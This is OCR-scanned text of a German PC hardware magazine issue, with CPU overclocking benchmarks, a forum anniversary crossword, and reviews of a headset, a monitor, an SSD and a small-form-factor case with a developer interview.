Ryzen 5 1500Х © 4,05 GHz | 906 (+11 %) 


EN 818 (Basis) 


Core i7-5775C @ 4,20 GHz E 879 (+12 %) 


EN 787 (Basis) 


Core i5-7600K @ 5,20 GHz Ex 820 (+21 96) 


P 676 (Basis) 


Core i3-7350K @ 5,10 GHz E 539 (+17 96) 


IU 462 (Basis) 


Bemerkungen: Die OC-Erge 


bnisse wurden über einen Zeitraum von mehreren Jahren 
gewonnen. Leichte Abweichungen durch unterschiedliche BIOS-Versionen und Betriebssy- 
steme (64-Bit-Version von Windows 7/10) sind möglich. 


Punkte 


» Besser 
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Die halbe Kanal- und Rank-Anzahl 
kostet 34 Prozent Leistung. Das na- 
hezu ausgereizte OC-Setting bietet 
eine um 18 Prozent hóhere Frame- 
rate und im Durchschnitt immer 
noch über 200 Fps - stark. DDR4- 
3600 bringt gegenüber DDR4-2666 
nun durchschnittlich 18 Fps mehr. 
Ohne Hintergrundlast betrug der 
Vorteil lediglich 6 Fps. 


Auf dem 1900X pendelt sich das 
Spiel auf einem niedrigeren Niveau 
ein, die Nach- und Vorteile von Dual 
Channel und RAM-Overclocking 
sind gemessen an der Standardkon- 
figuration mit 3,9 GHz Kerntakt 
und vier DDR4-2666-Modulen aber 
nicht stärker ausgeprägt als bei der 
Messreihe ohne HCI Memtest Pro. 
Die Gesamtleistung ist dafür ins- 
gesamt stärker zurückgegangen als 
beim Intel-System: Während dort 
die Leistung in der Basiskonfigura- 
tion von 228,9 Fps ohne Last auf 
173,6 Fps bei gleichzeitiger Video- 
Umwandlung und Speichertest 
um 24 Prozent gesunken ist, be- 
trägt die Leistungsdifferenz beim 
ThreadripperSystem mit 129,1 
gegenüber 211,1 Fps immerhin 39 


bei schnellen Richtungswechseln 
sind über 150 Fps aber selbst auf ei- 
nem 60-Hz-Display von Vorteil. 


Da es sich um lediglich ein Testsze- 
nario handelt, ist die Aussagekraft 
natürlich begrenzt. Die Ergebnisse 
deuten aber zumindest darauf hin, 
dass die Multitasking-Leistung von 
Threadripper stärker als bei Sky- 
lake X von der RAM-Anbindung 
und -Organisation abhängt. Es zahlt 
sich anscheinend aus, dass Intel be- 
reits einige Jahre mehr Erfahrung 
mit DDR4-Plattformen und den 
Speichercontroller entsprechend 
optimiert hat. (sw) 


Fazit Нагйшаге 


Vielkern-CPUs übertakten 

Falls Sie planen, sich einen Prozessor 
mit acht oder mehr Kernen zuzulegen 
und zu übertakten, dann greifen Sie 
zu einer leistungsfähigen Kühlung, 
am besten auf Flüssigkeitsbasis. 
Threadripper bietet bis zu 16 Kerne 
und den besseren Wärmeübergang, 
Skylake X die höheren Taktreserven 
und mehr Single-Thread-Leistung. 
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10 Jahre PCGHX | SPECIAL 


10 Jahre PCGH Extreme 


Das PCGH-Extreme-Forum öffnete 2007 die Pforten 
und wir feiern das zehnjährige Jubiläum. 


Ac das PCGH-Extreme-Forum zur 
Games Convention 2007 eróffnet wur- 
de, handelte es sich um ein zusätzliches 
Angebot für PCGH-Leser, die sich bis dahin 
mit Community-Mitgliedern des Schwes- 
termagazins PC Games im gleichen Forum 
tummelten. Zu Beginn war es primär eine 
Anlaufstelle für Extrem-Übertakter und 
Casemodder, bis sich PCGHX im folgenden 
Jahr zu der neuen, zentralen Anlaufstelle 
für alle diskussionsfreudigen Leser von PC 
Games Hardware weiterentwickelte. 


Frage A (horizontal): , DDR" in DDR-SDRAM steht für ... 
Frage B (horizontal): Hauptsächlicher Entwickler der Quake-Engine 


(Nachname) 


Frage C (horizontal): Die zugrunde liegende Forensoftware von PCGHX 
Frage D (horizontal): Codename eines Intel-Mainboards mit 975X-Chipsatz 
Frage E (horizontal): PCGHX-Unterforum, in dem Redakteure regelmäßig 


Umfragen einstellen 


Hinweis: Lósungen kónnen aus mehreren 
Worten (ohne Leerzeichen) bestehen. 
Umlaute ausschreiben: à = ae, б = oe, ü = ue 


Kein bisschen müde 

Seitdem bekam das Forum immer wieder 
technische und inhaltliche Erweiterungen. 
Neulinge erhalten Hilfe bei Problemen und 
bei der PC-Zusammenstellung und neben 
Themenabenden mit Herstellern gibt es 
mit dem Supportbereich eine dauerhafte 
Anlaufstelle für Fragen zu Produkten vie- 
ler Hersteller. Selbstverstándlich tummeln 
sich auch die Redakteure im Forum, etwa 
im monatlichen Feedback-Thema zu der je- 
weils aktuellen PCGH-Ausgabe. (sw) 


www.pcgameshardware.de 


Frage F (vertikal): Revolutionärer 3D-Beschleuniger von 1996 

Frage G (vertikal): Entwicklungspartner für das Kühlsystem des Asus 
Maximus IX Extreme 

Frage H (vertikal): Von 2002 bis 2008 veranstaltete Computerspielmesse 

Frage l (vertikal): Provokateur in Online-Foren 

Frage J (vertikal): Hersteller, mit dem 2009 der erste Themenabend im 
PCGHX-Forum stattfand 


Mitmachen & gewinnen! 


Zum Jubiläum verlosen wir mit der Asus ROG Posei- 
don GTX 1080 Ti ein echtes Schmuckstück. 


Die Geforce GTX 1080 Ti ist nicht nur pfeilschnell, 
sondern mit 11 GiByte GDDR5X-RAM auch zukunftssicher 
ausgerüstet. Wáhrend sich 3D-Enthusiasten üblicher- 
weise zwischen Luft- und Wasserkühlung entscheiden 
müssen, ist das dank des DirectCU-H20-Hybridkühlers mit 
integriertem G1/4-Zoll-Anschluss-Terminal nicht nötig. Die 
Asus ROG Poseidon GTX 1080 Ti bietet eine Spannungs- 
versorgung mit 10--2 Phasen, eine RGB-LED-Synchronisie- 
rung via Aura Sync und vieles mehr. 


So machen Sie mit: Lösen Sie das Kreuzworträtsel und 


senden Sie den Lösungscode aus den blau markierten 
Kästchen bis zum 31. Oktober mit dem Betreff „Gewinn- 
spiel PCGHX“ an gewinnspiel@pcgh.de. Die vollstän- 
digen Teilnahmebedingungen finden Sie spätestens ab 
dem 4. Oktober unter: www.pcgh.de/10jahre. 
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Infrastruktur 


Boards, RAM, Eingabegeräte, Festplatten, SSDs, Netzteile, Notebooks 


Torsten Vogel 
Fachbereich Plattformen 
E-Mail: tv@pcgh.de 


Schöne Vorfreude 


Trotz Enttäuschungen werden von komm- 
mender Hardware Wunder erwartet. 


Es gibt Hardware, die ist langsam, langweilig 
— und im eigenen Rechner. Bessere Komponen- 
ten sind interessanter, aber leider nur aus der 
Ferne zu betrachten. Die beste und interessan- 
teste Hardware ist aber immer die, die noch 
niemand hat — Informationen zu kommenden 
Produkten lassen das Herz des Enthusiasten 
hóher schlagen und die Phantasie Extrarunden 
drehen. Hersteller nutzen dies gezielt und ver- 
öffentlichen neue Hardware in Form von „Sa- 
ami-Launches", die über Monate hinweg mit 
kleinen Informationshäppchen Aufmerksamkeit 
generieren. Fans füllen die Lücken mit Spekula- 
ionen auf und freuen sich, wenn die Wünsche 
endlich erfüllt werden — soweit die Theorie. 


n der Praxis provozieren beide Seiten Enttáu- 
schungen geradezu, wie letzten Monat konzen- 
riert zu sehen war: Einerseits pulverisierte Intel 
naheliegende Hoffnungen zur Aufrüstbarkeit 
aktueller Sockel-1151-Mainboards. Die seit 
dem alten Tick-Tock-Schema suggerierten Can- 
nonlake-Upgrades werden vermutlich gar nicht 
mehr erscheinen, die eingeschobenen und heiß 
ersehnten Coffee-Lake-CPUs sind aus nicht 
nachvollziehbaren beziehungsweise künstlich 
geschaffenen Gründen inkompatibel. Anderer- 
seits führt eine Kurzmeldung von der PCI-SIG 
zu kuriosen Luftschlóssern: Nur zwei Jahre nach 
PCI-Express 4.0 soll 5.0 spezifiziert werden. 
Ersteres ist bis heute nicht finalisiert, es gibt 
keinerlei Hinweise auf entsprechende AMD- 
oder Intel-Produkte für 2018 und die tech- 
nischen Hürden für 5.0 sind hoch — trotzdem 
erwarten einige PCGHX-Kommentatoren die 
ersten PCI-Express-5.0-Mainboards bereits für 
Anfang 2019. Außerdem auf den Wunschlisten: 
Abwärtskompatible 12-Kerner für Mittelklas- 
se-Plattformen und Enthusiast-48-Kerner bis 
zum Frühjahr 2018. Weitere Enttäuschungen 
sind bei diesen Erwartungen garantiert. 


62 PC Games Hardware | 11/17 


MMX 300 


Beyerdynamic 
MMX 300 Generation 2 


www.pcgames 


Hardware 


Beyerdynamic MMX 300 Generation 2 


Das MMX 300 Gen. 2 ist nach Problemen bei der 
Herstellung wieder verfügbar. Wir testen das sehr 
empfehlenswerte Stereo-Headset hiermit nach. 


ir haben das MMX 300 Generation des 

deutschen Kopfhörerspezialisten bereits 
in der Ausgabe 03/2017 in Form eines Vorse- 
rienexemplars getestet und waren begeistert. 
Bei der späteren Serienproduktion schlich sich 
jedoch ein Fehler ein, der in seltenen Fällen zu 
Kratzen und ähnlichen Störgeräuschen führen 
konnte. Der Hersteller zog die Geräte daher kon- 
sequent zurück. Nun ist das Problem behoben. 
Wir aktualisieren hiermit unseren Test auf Basis 
eines der neuen Geräte - unser Vorserienexem- 
plar war nicht kompromittiert. 


Das Beyerdynamic MMX 300 gehört seit Jahren zu 
den besten Stereo-Headsets und bekam in Form 
der überarbeiteten und technisch aufgewerteten 
Generation 2 eine Generalüberholung. Das mit 
300 Euro nicht günstige, dafür jedoch aufšeror- 
dentlich bequeme und voll Hifi-taugliche Headset 
klingt gegenüber dem Vorgänger noch besser. Das 
MMX 300 Gen. 2 klingt sehr detailliert, hochauflö- 
send und trotz geschlossener Bauweise erfreulich 


luftig. Der kräftige und präzise Bass sowie eine 
kleine Höhenspitze (die berühmte „Beyer-Spitze“) 
ergeben ein nicht vollständig lineares, doch sehr 
unterhaltsames Klangbild, das sowohl beim Spie- 
len als auch Musikhören viel Spaß bereitet. Neben 
einer verbesserten Technik im Inneren bekam 
auch das Äußere eine komplette Überarbeitung. 
Das Beyerdynamic MMX 300 Gen. 2 ist damit wie 
schon der Vorgänger unsere Headset-Referenz 
unter den Klinkenmodellen und trotz des hoch 
anmutenden Preises sehr empfehlenswert. (pr) 


MMX 300 Generation 2 


Fazit: Der Test in Ausgabe 03/2017, dessen Aussage sowie 
unsere Empfehlung haben weiterhin Gültigkeit. Das MMX 
300 Gen. 2 ist eins der bestklingenden und bequemsten 
Headsets und unsere Referenz unter den Stereogeräten. 


Hersteller: Beyerdynamic 

Web: www.beyerdynamic.de 

Preis: Ca. € 300,- | Preis-Leistung: Mangelhaft 

| © Außerordentlich bequem [Ausstattung | 1,80 
> Fan und | Eigenschaften | 1,23 

| Leistung 146 


www.pcgh.de/preis/1557567 


PCGH-Preisvergleich 


WERTUNG 
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Startseite | INFRASTRUKTUR 


LG 34UC89G: Hochfrequent und breit 


Der Erfinder des Ultrawide-Formats wartet mit 
einem breiten Gaming-Monitor auf. Einen Haken 
hat das Gerät aber. 


leich den Pferdefuß vorneweg: Die Bild- 
fläche mit der 34 Zoll großen Diagonale 
bietet lediglich eine 1080p-Auflösung mit 2.560 
Pixeln in der Breite. Die Pixeldichte ist mit ca. 82 
ppi vielmehr eine Pixeldürre. Aber halt! Bevor 
Sie jetzt hier nicht mehr weiterlesen seien gleich 
die Glanzpunkte des 
Monitors hinterher- 
Der 
beläuft 
nämlich 


geschmissen: 
Kontrast 

sich auf 
das hervorragende 
Verhältnis von ca. 
1.300:1, was für IPS- 
untypisch 
hoch und gut ist. 
Außerdem Kann die 


Bildwiederholrate 


Panels 


per Menü von nati- 
ven 144 Hz auf 166 
Hz übertaktet wer- 
den. Auch G-Sync ist 
an Bord und funkti- 


oniert zwischen 30 


und 144 Hz. Außerdem hat uns die gleichmäßige 
Ausleuchtung des großen Panels gefallen - die 
Abweichungen in der Helligkeit belaufen sich 
lediglich auf sechs Prozent. Was Schlieren bei 
Bewegtbildern angeht, so lassen die sich mit- 
tels Overdrive etwas eindámmen. LG-typisch ist 
die Übersteuerung moderat, sodass selbst auf 
hóchster Stufe keine Schatten auftreten, die also 
die bestmögliche Bewegtbildqualität liefert. 


Es sind außerdem zahlreiche andere Details, die 
einem Gamer am 34UC89G gefallen dürften: 
Mittels der Schwarzstabilisierung können dunk- 
le Töne aufgehellt werden, ohne die Gesamthel- 
ligkeit zu erhöhen. Das reduziert natürlich den 
Kontrast, kann aber in recht dunklen Spielen 
vorteilhaft sein. Auch das zuschaltbare Faden- 
kreuz ist eine nette Dreingabe. Ein sogenanntes 
Dynamic Action Sync (DAS) soll den Input Lag 
verringern, indem der Scaler umgangen wird. 
Bei unserer Messung am HDMI-Eingang konn- 
ten wir aber keinen Unterschied feststellen, er 
beträgt stets 15,3 ms - ein eher mittelmäßiger 
Wert, wie auch die von uns ermittelte durch- 
schnittliche Reaktionszeit von 7,2 ms. Zum ge- 
listeten Preis von ca. 900 Euro ist das Gerät für 
einen 1080p-Monitor noch recht teuer. Für das 
Geld gibt es schon Hochauflösenderes. (mc) 


LG 34UC89G 


Fazit: Der 34-Zóller kann mit guter Bildqualitát, G-Sync, 
166 Hz und guter Ausstattung punkten. Mit einer 
1080p-Auflósung ist die Pixeldichte etwas mau. 1440p 
wáre dem Preis eher angemessen gewesen. 


Hersteller: LG 
Web: www.lg.de 
Preis: Ca. € 900,- | Preis-Leistung: ausreichend 


° a Ausstattung 1,85 
° I orh te Eigenschaften | 2,26 
- ) ( || Leistung 1,39 
PCGH-Preisvergleich 4 www.pcgh.de/preis/1621380 


WERTUNG 


Crucial BX300: Überraschend gut für ein „Billigmodell” 


Die BX-Serie war bislang Crucials Kampfpreisklas- 
se, wáhrend die MX-Modelle eine gute Perfor- 
mance abliefern sollen. Das schafft nun aber auch 
die neue BX300, wáhrend ihre Vorgánger, BX200 
und BX100 eher enttäuschten. 


ährend die schon länger verfügbare 

MX300 noch auf planarem TLC-Flash 
(Triple Level Cell, 3 Bit pro Zelle) basiert, ver- 
baut Crucial bei der neuen BX300 3D-MLC- 
Flash, der mit seinen 2 Bit pro Zelle als etwas 
haltbarer gilt. Der Hersteller bietet die SSDs im 
2,5-Zoll-Format und in Kapazitäten von 120 GB, 
240 GB und 480 GB an. Wir haben das Modell in 
letzteren beiden Versionen getestet und festge- 
stellt, dass die Leistung besser ist als beim MX- 
Pendant. Egal ob in den Benchmarks mit Atto 
und AS-SSD oder in unseren Praxistests, ist die 
BX300 fast immer besser als die MX300. Ledig- 
lich im Kopiertest mit 10 GB an Daten ge- 


nehmigt sie sich mit 92 Sekunden fast zehn Se- 
kunden mehr als die MX300. Verglichen mit der 
Samsung 850 Evo, die in unserer Wertung noch 
immer leicht vorne liegt, kann die BX300 in der 


(mc) 


SATA-Oberklasse mithalten. 


Crucial BX300 


Fazit: Crucial hat mit der BX300 eine preislich interessante 
Alternative zur 850 Evo vorgestellt. Das Samsung-Modell 
basiert auf 3D-TLC, während Crucial zum ähnlichen Preis 
3D-MLC-Chips bietet. 


Hersteller: Crucial 
Web: www.crucial.de 
Preis: Ca. € 155,- | Preis-Leistung: befriedigend 


ob Ausstattung 2,72 
o | Eigenschaften | 1,83 
\ Leistung 1,78 


| www.pcgh.de/preis/1680272 


WERTUNG 


SEASONIC QUALITÄT ZUM EINSTIEGSPREIS! 
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Noch kleiner geht's nicht 


Das A4 SFX ist eine echte Kickstarter-Erfolgsgeschichte, denn von der neu aufgelegten Version hat DAN 
Cases erneut rund 2.100 Exemplare verkauft. Wir durften einen Prototypen des Gehäuse-Minis testen. 


Trotz eines Innenraumvolumens von nur 7,25 Litern passt sehr leistungsstarke 
Hardware in das A4 SFX v2. Damit eignet sich das Mini-ITX-Gehäuse auch für den 
Aufbau eines Spiele-Minis für's Wohnzimmer. 


as DAN Cases А4 SFX ist nicht Ende der Kickstarter-Kampagne am 
Dec 27.6.2017 hatte DAN Cases einen 
Gehäuse auf dem Markt, es ist auch Betrag von 550.464 Euro gesam- 
eine echte Kickstarter-Erfolgs-Story. melt und somit das wohl kleinste 
Nachdem im letzten Jahr 1.600 Ex-  Gaming-PC-Gehàuse der Welt an ins- 
emplare verkauft wurden und auch gesamt 2.105 Unterstützer verkauft. 
die Restbestände schnell vergriffen Mon diesen Exemplaren stellte uns 
waren, entschloss sich DAN Cases, DAN Cases jetzt einen Prototypen 
eine als v2 bezeichnete, in Details zum Test zur Verfügung und lieferte 
verbesserte Neuauflage wieder als uns auch das optionale Window-Kit 
Kickstarter-Projekt anzubieten. Die für 60 Euro mit. Das wird laut den 
Kampagne für das DAN Cases Aá Infos von DAN Cases jedoch nicht 
SEX v2startete am 29.5.2017 unddie — in Deutschland erscheinen und nur 
überarbeitete Variante des äußerst für Kickstarter-Kunden sowie in Ja- 
kompakten Mini-ITX-Gehäuses mit pan verfügbar sein. 
,Small Form Factor* (kurz: SFF) war 
mindestens genauso erfolgreich Neuerungen unter der Lupe 
wie der Vorgänger. Nach nur sechs Wie wir auf der Produktseite von 
Minuten war das DAN Cases А4 DAN Cases erfahren, hat man der 
SEX v2, dessen Preis mit Standard- zweiten Version des А4 SFX eine 
Alu-Seitenteilen bei 230 Euro liegt, GPU-Einbaublende spendiert und 
bereits vollständig finanziert. Zum den USB-3.0-Port besser zentriert. 


Ae. 
Favas 


o 


LI 
Yo vavav, 


b 
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DAN Cases A4 SFX v2: PCGH spricht mit dem Entwickler und Firmengründer 


PCGH: Wie kommt man als Privatperson dazu, 
ein Gehäuse zu entwickeln, das eine Größe 
respektive ein Innenraumvolumen bietet, das es 
bisher noch nicht gab? 


DAN Cases: Der Antrieb 
hinter diesem Produkt 
war der Umstand, dass 
ich ein Gehäuse haben 
wollte, dass es so nicht 
gab. Recht schnell stellte 
sich heraus, dass auch 
andere solch ein Produkt 
wollten und ich entwickelte die Idee durch Feedback, 
Tests und Prototypen über Jahre mit der Community 


LOCO 


diverser Foren weiter (unter anderem auch im PCGH-Fo- 


rum). Der ausschlaggebende Grund, der letztendlich zur 
Gründung eines eigenen Unternehmens geführt hat, 
war der Gedanke: , Wenn du es nicht jetzt probierst, 
wirst du es dein Leben lang bereuen! ". 


PCGH: Warum hast Du Dich dafür entschieden, 
Dein Gehäuse als Kickstarter-Projekt zu realisie- 
ren? Hattest Du vorher schon Herstellerkontakte 


oder ist das als Folge der Kickstarter-Kampagne 
entstanden? 


DAN Cases: Kickstarter hat für mich den Vorteil, dass 
ich direkt sehen kann, ob ich die Mindestbestellmenge, 
die ich für die Produktion benótige, erreichen kann. In 
meinem Fall sammelte ich bei Kickstarter kein Geld, um 
eine Idee entwickeln zu kónnen, denn zum Kampagnen- 
start ist das Produkt bereits fertig. Aus diesem Grund 
war auch die Planung mit meinen Herstellern und 

das Erstellen von Prototypen bereits abgeschlossen. 

Ich nutzte Kickstarter als eine zeitlich begrenzte 
Verkaufsaktion mit der Hoffnung, eine Bestellmenge X 
zu erreichen. 


PCGH: Es ist klar, dass eine Kleinserie in der Pro- 
duktion deutlich teurer und auch Aluminium ein 
teures Material ist, aber 230 Euro für die zweite 
Version des DAN Cases A4-SFX sind ja schon eine 
Preisansage. Welche Faktoren sind denn für den 
hohen Preis verantwortlich? 


DAN Cases: Tatsáchlich spielt der Materialpreis eine 
untergeordnete Rolle. Der Grund für den , hohen Preis" 
sind die Stückzahlen und der Umstand, dass ich keine 
eigene Fabrik habe, sondern bei einem anderen Gehäu- 


sehersteller fertigen lasse. Ich müsste die Jahresproduk- 
tion um den Faktor zwanzig erhóhen, um wesentlich 
bessere Preise realisieren zu kónnen. Ein weiterer 
Kostenfaktor ist das sehr hochwertige Riser-Kabel von 
3M, das aufgrund seiner Qualitát und Leistung (PCI-E 
Gen4 ready) vorrangig in GPU-basierten Serversystemen 
verwendet wird. Eine grafische Darstellung aller Kosten 
gibt es auf der Kampagnenseite bei Kickstarter. 


PCGH: Falls das Case ausverkauft sein wird, 
spielst Du mit dem Gedanken, es mit einer 
hóheren Stückzahl noch einmal aufzulegen? Wie 
weit bist Du eigentlich mit Deinem Kühlerpro- 
jekt? 


DAN Cases: Vorerst móchte ich an meinem bisherigen 
Vertriebskonzept festhalten, daher hángt die Abnah- 
memenge von meinen Großkunden und Kickstarter-Un- 
terstützern ab. Für die Erweiterung meines Produkt- 
portfolios entwickle ich gerade ein weiteres Gehäuse, 
dieses werde ich in wenigen Wochen der Öffentlichkeit 
vorstellen. Das Kühlerprojekt befindet sich noch in der 
Prototypenphase. Ich bin gerade beim Feintuning des 
Retention-Kit, um für einen konkurrenzfähigeren Preis 
die prozessorspezifischen Belastungen einzuhalten und 
die Werkzeugkosten im Zaum zu halten. 


Dazu kommen  Motherboard-Ab- 
standshalter, die nun eingestanzt, 
anstatt eingeschraubt sind, sowie 
Gerätefüße aus Gummi für eine bes- 
sere Rutschfestigkeit. 


Die größte Änderung erkennen wir 
am Boden vorne: Die Laufwerks- 
halterung für zwei 2,5-Zoll-SSDs/ 
HDDs ließ sich zwar schon beim 
Vorgänger ausbauen. Die Montage 
eines 92-mm-Lüfters oder -WaKü- 
Radiators ist aber erst beim A4 SFX 
v2 möglich, da die Gewinde zur 
Befestigung der Halterung mit den 
Schraubenlöchern der Lüfter pass- 
genau sind. Nutzt man einen Radi- 
ator, muss dieser sehr niedrig aus- 
fallen. Auf Nachfrage empfiehlt uns 
DAN Cases die Asetek 545LC, die lei- 
der nicht in Deutschland erhiltlich 
ist und für ca. 100 Euro importiert 
werden muss. Mit der diesjáhrigen 
Kickstarter-Kampagne bot DAN Ca- 
ses auch ein Window-Kit für das А4 
SFX v2 an. Dieses wurde einzeln für 
60 Euro und im Paket mit dem А4 
SFX v2 für 290 Euro verkauft. 


Hardware auf engem Raum 
Viele Komponenten passen nicht 
in ein Gehäuse mit lediglich 7,25 
Litern Innenraumvolumen und 
auch die Ausstattung des A4 SFX 
v2 konzentriert sich auf das We- 
sentliche. Immerhin lassen sich 
zwei 2,5-Zoll-SSDs oder HDDs an 
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die demontierbare Halterung am 
Boden anbringen. Ein weiteres 
2,5-Zoll-Laufwerk lässt sich hinter 
der Frontabdeckung anschrauben. 
Der Innenraum ist nach dem Zwei- 
kammerprinzip aufgebaut, wobei 
sich Board, Netzteil und Laufwer- 
ke in der einen Kammer befinden, 
während die zweite Kammer dank 
der PCI-Express-Verlängerung auch 
High-End-GPUs wie die beim Test 
genutzte Inno3D GTX 1080 Ti be- 
herbergen kann. Die GPU darf aber 
nicht höher als zwei PCI-Express- 
Steckplätze sein und eine Länge 
von 295 mm nicht überschreiten. 
Das Bestücken des kleinsten PC-Ga- 
ming-Gehäuses mit einer leistungs- 
starken GPU ist also unproblema- 
tisch. Einen CPU-Kühler zu finden, 
der trotz Top-Blow-Bauweise or- 
dentlich kühlt und nicht zu hoch 
ausfällt (gemessene Maximalhöhe: 
48 mm), fällt da schwerer. Bei den 
Empfehlungen, die wir von DAN Ca- 
ses bekommen haben, entschieden 
wir uns für den Noctua L9i. 


Die letzte Einschränkung, die ein 
besonders kompaktes SFF-Gehäuse 
wie das A4 SFX v2 mit sich bringt, 
betrifft das Netzteil. Es wird ein 
Stromgeber mit SFX-Format benö- 
tigt und wenn eine SFX-L-Variante 
zum Einsatz kommt, sollte die Lauf- 
werkshalterung für eine bessere Ka- 
belverlegung weichen. 


...........-...... 


Beim Zweikammer-Innenraumdesign des A4 SFX v2 wird die GPU-Kammer von dem Raum 
mit der Platine und dem Netzteil durch die Board-Halterung und eine Schutzfolie getrennt. 


Die GPU-Riser-Kabel sowie die Halterung für zwei 2,5-Zoll-SSDs waren schon beim ersten 
DAN Case A4 SFX vorhanden. Neu ist der Montageplatz für einen 92-mm-Lüfter/Radiator. 
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A4 SFX: Einbau-Anleitung 


Der Einbau von Hardware in das A4 
SFX v2 erfordert Geschicklichkeit, 
wird aber nicht zum Geduldsspiel. 
Das Einsetzen und Verschrauben 
der mit dem Noctua 9Li bestückten 
Hauptplatine ist schnell erledigt. 


Die Kabel zum Ein-/ 
Aus- Schalter und 
USB-3.0-Port sind 
zügig befestigt und 
verlegt. Der Ausbau 


der Halterung er- 


Kühlprobleme mit Fenster 
Da man im А4 SFX v2 aus Platz- 
gründen nur einen 92-mm-Gehäu- 
selüfter anstelle der Laufwerkshal- 
terung anbringen kann, muss das 
Kühlkonzept des Mini-Gehäuses an- 
ders formuliert werden. Laut DAN 
Cases sollen die eingebauten Kom- 
ponenten in der Lage sein, sich 
selbst zu kühlen, indem sie sich die 
Frischluft direkt durch die Seiten- 
teile aus der Umgebung ansaugen. 
Des Weiteren soll erwärmte Luft 
innerhalb des Gehäuses nach oben 
steigen, um durch die Lüftungs- 
löcher im Deckel zu entweichen. 
Soweit die Theorie, doch was zählt, 
sind die Messungen mit unserem 
Prototypen des DAN Cases A4 SFX 
v2 und unserer Test-Hardware 
(siehe Testtabelle unten): Da uns 
DAN Cases informiert hat, dass die 
Kühlleistung durch das Window- 
Kit reduziert wird, führen wir zwei 
Testläufe durch und können so die 
Messwerte beim Standard-Seiten- 
teil und dem Window-Kit miteinan- 
der vergleichen. 


Ist das A4 SFX v2 mit regulären Sei- 
tenteilen bestückt, geht das Kühl- 
konzept voll auf, das bestätigen 
die Messwerte. Die CPU wird nicht 
zuletzt dank des Micro-Kühlermo- 
dells, das im Vergleich zu einem 
Turmkühler an Leistung deutlich 
unterlegen ist, 82,7 °C warm, je- 
doch nicht gefährlich heiß. Die 
GPU hängt am Temperaturlimit, 
arbeitet aber noch mit einem Takt 
von 1.711 MHz beieiner Lüfterdreh- 
zahl von 1.882 U/min. Dazu kommt 
eine akzeptable und von den Lüf- 
tern der Grafikkarte verursachte 
Lautheit von 2,4/3,3 Sone. Unsere 
beim Einsatz des Window-Kit er- 
mittelten Werte untermauern, dass 
die Kühlleistung abnimmt: Der i7- 
6700K (TDP: 91 W) wird mit 90,5 
°C schon bedenklich heiß und auch 
bei der Inno3D GTX 1080 Ti erhöht 
sich die GPU-Temperatur auf 88 °C, 
während der Takt bei einer auf 
1.951 U/min erhöhten Lüfterdreh- 
zahl auf 1.481 MHz sinkt. Zusätzlich 
dringen zu laute 3,1/3,6 Sone aus 
der GPU-Kammer. (fs) 


Gehäuse A4 SFX v2 


Hersteller (Webseite) DAN Cases (www.dan-cases.com) 
Preis (getestete Version) 230,- Euro (Standard-Panel)/290,- (Window-Kit) 


Plätze für Laufwerke 3 x 2,5 Zoll (zwei Laufwerke in der 2,5-Zoll-Halterung, ein 
2,5-Zoll-Laufwerk an der Frontabdeckung) 


leichtert die 2,5-Zoll- 
HDD-Montage oder 
macht Platz für einen 


92-mm-Lüfter. Erweiterungs-Slots (Blende) Zwei 
Handbuch Sehr ausführlich 
Lüfterplátze 1x 92 mm (wenn 2,5-Zoll-Laufwerkshalterung ausgebaut ist) 
Vorhandene Lüfter Keine 


Frontanschlüsse 1 x USB 3.0, An/Aus-Schalter 

Geháuse ist komplett aus Aluminium gefertigt (Wandstárke 1,5 mm), 
SFX-Netzteil wird benötigt, kein Einbauplatz für 3,5-Zoll-Laufwerke, 
AIO-WaKü mit 92-mm-Radiator anstelle der 2,5-Zoll-Laufwerkshalte- 
rung, Schutzfolie verhindert den Kontakt von GPU und Hauptplatine, 
einfaches Zweikammersystem, in dem das Netzteil, die Grafikkarte 
und die CPU so eingebaut sind, dass diese die Frischluft direkt von 
drauBen ansaugen oder als Abluft nach drauBen befórdern. 
Material (nicht gewertet) Aluminium 

Gewicht (Nicht gwertet) 1,25 kg 

Abmessungen (H x B x T)/Volumen 20,0 x 11,5 x 31,7 cm/7,25 Liter 

Platz für Grafikkarte/CPU-Kühler 295 mm/48 mm 

Verarbeitung allgemein/Schnittkanten/ | Sehr gut/gut/sehr gut 

Verwindungssteifheit 
Zusammenbau* 


Besonderheiten 


Die Strippen (achtpolig/24-polig), die vom möglichst mit einem Kabel- 
management bestückten SFX-Netzteil zur Platine führen, sind wenig 
flexibel und werden zwischen Stromgeber und Laufwerkskäfig verstaut. 


Mit nur 7,25 Litern Innenraumvolumen steht sehr wenig Einbauplatz 
zur Verfügung. Das durchdachte, aber simple Zweikammerdesign 
vereinfacht den Einbau von Netzteil und Platine. Die Kabelverlegung 
ist etwas kompliziert und Kabel müssen teils „gestopft“ werden. Der 
Einbau einer langen GPU ist dank PCI-Express-Kabel sehr einfach. 
Festplattenkäfige herausnehmbar, mäßige Entkopplung der HDDs, 
PCI-Express-Kabel für die GPU, bei SFX-L-Netzteil muss die SSD-Hal- 
terung für eine bessere Kabelverlegung ausgebaut werden, Seiten- 
teile mit Cliptechnik und Verschraubung. 

Sehr wenig Platz beim Einbau von Komponenten (empfohlene Rei- 
henfolge: Platine mit Kühler, Laufwerke, Netzteil, GPU) 


Besonderheiten beim 
Zusammenbau 


Praxisprobleme 


Kompatibilitätstest Nur Mini-ITX-Mainboards 


Temperatur CPU (mit Standard Panel/ |82,7 °C/90,5 °C 
Window Kit) 


Temperatur GPU, Lüfterumdrehzahl, 84,0 °C (1.882 U/min/1711 MHz)/88,0 °C (1.951 U/min/1.481 MHz) 
Takt (mit Standard Panel/Window Kit) 


Temperatur M.2-SSD (mit Standard 
Panel/Window Kit) 


Lautheit der Lüfter, 50 cm Abstand 
frontal/schrág vorne (45-Grad-Winkel) 


FAZIT 


Der Einbau großer 
GPUs ist leicht und 
dauert nur Sekunden. 
Die Kabel zur Strom- 
versorgung der Karte 
lassen sich direkt vom 
Anschluss am Netzteil 
zu den Steckern an der 
GPU führen. 


74,0 *C/79,0 °C 


2,4/3,3 Sone (mit Standard Panel)/3,1/3,6 Sone (mit Window Kit) 


© Keine zu hohe CPU- und GPU-Temperatur 
© Hochwertige Fertigung/einfacher Einbau langer GPUs bis 295 mm 


© Das Lüftergeräusch der GPU dringt ungedámmt nach draußen 


Wertung: k k k k J 
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*System: Intel Core i7-6700K, Intel Z170, Inno3D Geforce GTX 1080 Ti (84 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, 


Noctua L9i (Q-Fan-Profil: Standard), Sharkoon Silent Storm 500 Watt (SFX-L, 80+ Gold), Umgebungstemperatur: 24 °C 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


